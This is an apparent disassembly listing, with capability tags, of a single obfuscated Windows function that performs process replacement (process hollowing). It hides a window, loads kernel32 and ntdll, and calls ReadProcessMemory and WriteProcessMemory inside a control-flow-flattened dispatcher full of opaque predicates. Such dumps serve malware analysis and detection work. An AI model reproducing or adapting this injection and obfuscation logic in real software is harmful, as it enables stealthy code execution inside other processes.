Function at 0x10003430
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x1006b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x11c], 0x647e26d7
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x80131420
je 0x1000ad04
jmp 0x1000346c
mov eax, dword [ebp - 0x120]
sub eax, 0x80b2e759
je 0x1000b74f
jmp 0x10003482
mov eax, dword [ebp - 0x120]
sub eax, 0x80fc27a5
je 0x10005aee
jmp 0x10003498
mov eax, dword [ebp - 0x120]
sub eax, 0x816b0ada
je 0x100069f9
jmp 0x100034ae
mov eax, dword [ebp - 0x120]
sub eax, 0x81ed95d4
je 0x1000b0f1
jmp 0x100034c4
mov eax, dword [ebp - 0x120]
sub eax, 0x821f53f6
je 0x1000bd3f
jmp 0x100034da
mov eax, dword [ebp - 0x120]
sub eax, 0x82e37feb
je 0x100064a8
jmp 0x100034f0
mov eax, dword [ebp - 0x120]
sub eax, 0x8330143e
je 0x100091ce
jmp 0x10003506
mov eax, dword [ebp - 0x120]
sub eax, 0x83b25948
je 0x1000bd1b
jmp 0x1000351c
mov eax, dword [ebp - 0x120]
sub eax, 0x83f932d7
je 0x1000b3ec
jmp 0x10003532
mov eax, dword [ebp - 0x120]
sub eax, 0x853c8839
je 0x1000aafa
jmp 0x10003548
mov eax, dword [ebp - 0x120]
sub eax, 0x857799e0
je 0x10008bec
jmp 0x1000355e
mov eax, dword [ebp - 0x120]
sub eax, 0x85e1e639
je 0x10008197
jmp 0x10003574
mov eax, dword [ebp - 0x120]
sub eax, 0x860c4002
je 0x100090c5
jmp 0x1000358a
mov eax, dword [ebp - 0x120]
sub eax, 0x86958ea8
je 0x10007fd1
jmp 0x100035a0
mov eax, dword [ebp - 0x120]
sub eax, 0x86e396b1
je 0x1000b90a
jmp 0x100035b6
mov eax, dword [ebp - 0x120]
sub eax, 0x87474a51
je 0x1000b898
jmp 0x100035cc
mov eax, dword [ebp - 0x120]
sub eax, 0x877299d7
je 0x10008f1c
jmp 0x100035e2
mov eax, dword [ebp - 0x120]
sub eax, 0x87f44c0a
je 0x100086c6
jmp 0x100035f8
mov eax, dword [ebp - 0x120]
sub eax, 0x89a0667e
je 0x10006394
jmp 0x1000360e
mov eax, dword [ebp - 0x120]
sub eax, 0x8b615e70
je 0x100073e9
jmp 0x10003624
mov eax, dword [ebp - 0x120]
sub eax, 0x8c1b1c15
je 0x10008835
jmp 0x1000363a
mov eax, dword [ebp - 0x120]
sub eax, 0x8cc484f3
je 0x1000954f
jmp 0x10003650
mov eax, dword [ebp - 0x120]
sub eax, 0x8d5ca592
je 0x1000856e
jmp 0x10003666
mov eax, dword [ebp - 0x120]
sub eax, 0x8d80d77e
je 0x10005ea7
jmp 0x1000367c
mov eax, dword [ebp - 0x120]
sub eax, 0x8d84f6ef
je 0x1000b649
jmp 0x10003692
mov eax, dword [ebp - 0x120]
sub eax, 0x8db817e1
je 0x10009f0b
jmp 0x100036a8
mov eax, dword [ebp - 0x120]
sub eax, 0x8dfdc973
je 0x100067e0
jmp 0x100036be
mov eax, dword [ebp - 0x120]
sub eax, 0x8ef3592b
je 0x1000b731
jmp 0x100036d4
mov eax, dword [ebp - 0x120]
sub eax, 0x9008ff1c
je 0x10007bd3
jmp 0x100036ea
mov eax, dword [ebp - 0x120]
sub eax, 0x901cae76
je 0x1000b809
jmp 0x10003700
mov eax, dword [ebp - 0x120]
sub eax, 0x907cfa51
je 0x1000a3ee
jmp 0x10003716
mov eax, dword [ebp - 0x120]
sub eax, 0x90c8d2ce
je 0x10007de9
jmp 0x1000372c
mov eax, dword [ebp - 0x120]
sub eax, 0x91b31e45
je 0x1000b889
jmp 0x10003742
mov eax, dword [ebp - 0x120]
sub eax, 0x92ce794e
je 0x10008c2a
jmp 0x10003758
mov eax, dword [ebp - 0x120]
sub eax, 0x9321deb4
je 0x10006d29
jmp 0x1000376e
mov eax, dword [ebp - 0x120]
sub eax, 0x940561ea
je 0x10008909
jmp 0x10003784
mov eax, dword [ebp - 0x120]
sub eax, 0x9411db30
je 0x10006ced
jmp 0x1000379a
mov eax, dword [ebp - 0x120]
sub eax, 0x943de8d4
je 0x10006c3c
jmp 0x100037b0
mov eax, dword [ebp - 0x120]
sub eax, 0x9543a056
je 0x100072a8
jmp 0x100037c6
mov eax, dword [ebp - 0x120]
sub eax, 0x95b69843
je 0x10006991
jmp 0x100037dc
mov eax, dword [ebp - 0x120]
sub eax, 0x95e97c01
je 0x100095bd
jmp 0x100037f2
mov eax, dword [ebp - 0x120]
sub eax, 0x95fde81e
je 0x1000680e
jmp 0x10003808
mov eax, dword [ebp - 0x120]
sub eax, 0x96af393d
je 0x1000a00a
jmp 0x1000381e
mov eax, dword [ebp - 0x120]
sub eax, 0x96d06602
je 0x1000bae3
jmp 0x10003834
mov eax, dword [ebp - 0x120]
sub eax, 0x97127b2f
je 0x10008b17
jmp 0x1000384a
mov eax, dword [ebp - 0x120]
sub eax, 0x9795f706
je 0x10006684
jmp 0x10003860
mov eax, dword [ebp - 0x120]
sub eax, 0x98b8b55c
je 0x10008b8d
jmp 0x10003876
mov eax, dword [ebp - 0x120]
sub eax, 0x99b36109
je 0x100087b0
jmp 0x1000388c
mov eax, dword [ebp - 0x120]
sub eax, 0x99d71e52
je 0x1000a53f
jmp 0x100038a2
mov eax, dword [ebp - 0x120]
sub eax, 0x9a0db8a5
je 0x100061fc
jmp 0x100038b8
mov eax, dword [ebp - 0x120]
sub eax, 0x9a7b164c
je 0x100076a6
jmp 0x100038ce
mov eax, dword [ebp - 0x120]
sub eax, 0x9b641983
je 0x1000968e
jmp 0x100038e4
mov eax, dword [ebp - 0x120]
sub eax, 0x9b686c83
je 0x10007b88
jmp 0x100038fa
mov eax, dword [ebp - 0x120]
sub eax, 0x9c984c86
je 0x10009063
jmp 0x10003910
mov eax, dword [ebp - 0x120]
sub eax, 0x9cb61da3
je 0x1000a9a9
jmp 0x10003926
mov eax, dword [ebp - 0x120]
sub eax, 0x9d13f371
je 0x10007cdf
jmp 0x1000393c
mov eax, dword [ebp - 0x120]
sub eax, 0x9dce062f
je 0x10006c1d
jmp 0x10003952
mov eax, dword [ebp - 0x120]
sub eax, 0x9dd59fce
je 0x1000939b
jmp 0x10003968
mov eax, dword [ebp - 0x120]
sub eax, 0x9e9f1fa9
je 0x1000867b
jmp 0x1000397e
mov eax, dword [ebp - 0x120]
sub eax, 0x9ebebb18
je 0x1000a564
jmp 0x10003994
mov eax, dword [ebp - 0x120]
sub eax, 0x9f14eda5
je 0x100073ca
jmp 0x100039aa
mov eax, dword [ebp - 0x120]
sub eax, 0x9ff70338
je 0x100063d0
jmp 0x100039c0
mov eax, dword [ebp - 0x120]
sub eax, 0xa000678d
je 0x10008514
jmp 0x100039d6
mov eax, dword [ebp - 0x120]
sub eax, 0xa087d3e7
je 0x10007711
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
movss xmm0, dword [0x100193ac]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100193a8]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100193a4]
movss dword [ebp - 0x104], xmm0
mov dl, 1
mov eax, 0x7c7abe40
mov ecx, 0xee1bb792
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x10019388]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10019384]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x11c], 0xbf4d1da8
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x132943ef
sub edx, 1
add edx, 0x132943ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3eee2c3
mov ecx, 0xaf8a54a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dl, 1
mov eax, 0x26b1153
mov ecx, 0x795ded73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0a649cb
mov ecx, 0x35ed6631
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x896169d2
sub edx, 1
add edx, 0x896169d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6658559a
mov ecx, 0xfd430b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0x315911d6
sub edx, 1
sub edx, 0x315911d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe29f3fd1
mov ecx, 0x63b277ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x30e3eb30
jmp 0x1000bd6c
mov dl, 1
mov eax, 0xd30b1eac
mov ecx, 0x479ebf3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x10019354]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0xf6c21144
jmp 0x1000bd6c
movss xmm0, dword [0x1001922c]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe113aee6
mov ecx, 0xb798dbfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x10019338]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0x943de8d4
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7779d012
mov ecx, 0x6706f2d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dl, 1
mov eax, 0xa2a7ffce
mov ecx, 0x5cd62c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x10019330]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0xa2a7ffce
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd5955279
mov ecx, 0x2967b883
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x1001931c]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x11c], 0x8b615e70
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xc3741872
sub edx, 1
sub edx, 0xc3741872
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d84f6ef
mov ecx, 0x73896dd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x10019318]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x11c], 0x6c540a2a
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x432dcdbe
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xf6e1d9d1
sub edx, 1
add edx, 0xf6e1d9d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x68ccf4f6
mov ecx, 0x34d0c259
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x5282616d
jmp 0x1000bd6c
movss xmm0, dword [0x100192f4]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0xa3c94b73
jmp 0x1000bd6c
movss xmm0, dword [0x100192ec]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0xbce30c42
jmp 0x1000bd6c
movss xmm0, dword [0x100191d8]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x100191d4]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x353ab597
sub edx, 1
add edx, 0x353ab597
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb220242
mov ecx, 0x72fa5370
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x29a79ab7
jmp 0x1000bd6c
movss xmm0, dword [0x100192d0]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100192cc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xe519951d
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x56cbac77
jmp 0x1000bd6c
movss xmm0, dword [0x100192c4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0x6ca33c7e
jmp 0x1000bd6c
movss xmm0, dword [0x100191c0]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb37c9580
mov ecx, 0xcb16401f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
movss xmm0, dword [0x100192b4]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100192b0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0x6850256b
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x42af1586
sub edx, 1
add edx, 0x42af1586
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4753e3e9
mov ecx, 0x7c9d1947
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x9882c966
sub edx, 1
add edx, 0x9882c966
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x91b31e45
mov ecx, 0x98b8b55c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dl, 1
mov eax, 0x857799e0
mov ecx, 0x1c25f7f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019294]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x4a5f9588
jmp 0x1000bd6c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019290]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x5a009a13
jmp 0x1000bd6c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019284]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x30989335
jmp 0x1000bd6c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001927c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019278]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019274]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xa0c46938
jmp 0x1000bd6c
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x12a37cff
sub edx, 1
add edx, 0x12a37cff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x86e396b1
mov ecx, 0xdeafa5c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5e9486e
mov ecx, 0xa598ab59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019270]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xd281be5d
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0xd710ebd5
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x15036d9a
sub edx, 1
sub edx, 0x15036d9a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11ef36ca
mov ecx, 0xa913ff6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0xb9793acf
jmp 0x1000bd6c
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x11c], 0x440a7e79
jmp 0x1000bd6c
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x11c], 0x264732c2
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0xef016d18
jmp 0x1000bd6c
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x11c], 0x9ebebb18
jmp 0x1000bd6c
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x756c8e9d
sub edx, 1
add edx, 0x756c8e9d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa265a5b
mov ecx, 0xebb3b3b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x104bb29b
mov ecx, 0xea0072df
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bd6c
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x11c], 0x104bb29b
jmp 0x1000bd6c
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x11c], 0xf7f164e6
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0xf9cf5427
jmp 0x1000bd6c
movss xmm0, dword [0x10019248]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x11c], 0xca2b0821
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x73896dd1
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x1d939bcf
jmp 0x1000bd6c
movss xmm0, dword [0x100191dc]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0x7635ca14
jmp 0x1000bd6c
movss xmm0, dword [0x100191c4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xa112c29e
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x97127b2f
jmp 0x1000bd6c
mov dword [ebp - 0x11c], 0x56fcf53d
jmp 0x1000bd6c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191a4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xdeafa5c6
jmp 0x1000bd6c
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x11c], 0xd8c5ce8a
jmp 0x1000bd6c
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11c], 0x34eb297d
jmp 0x1000bd6c
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11c], 0xee94d087
jmp 0x1000bd6c
jmp 0x10003450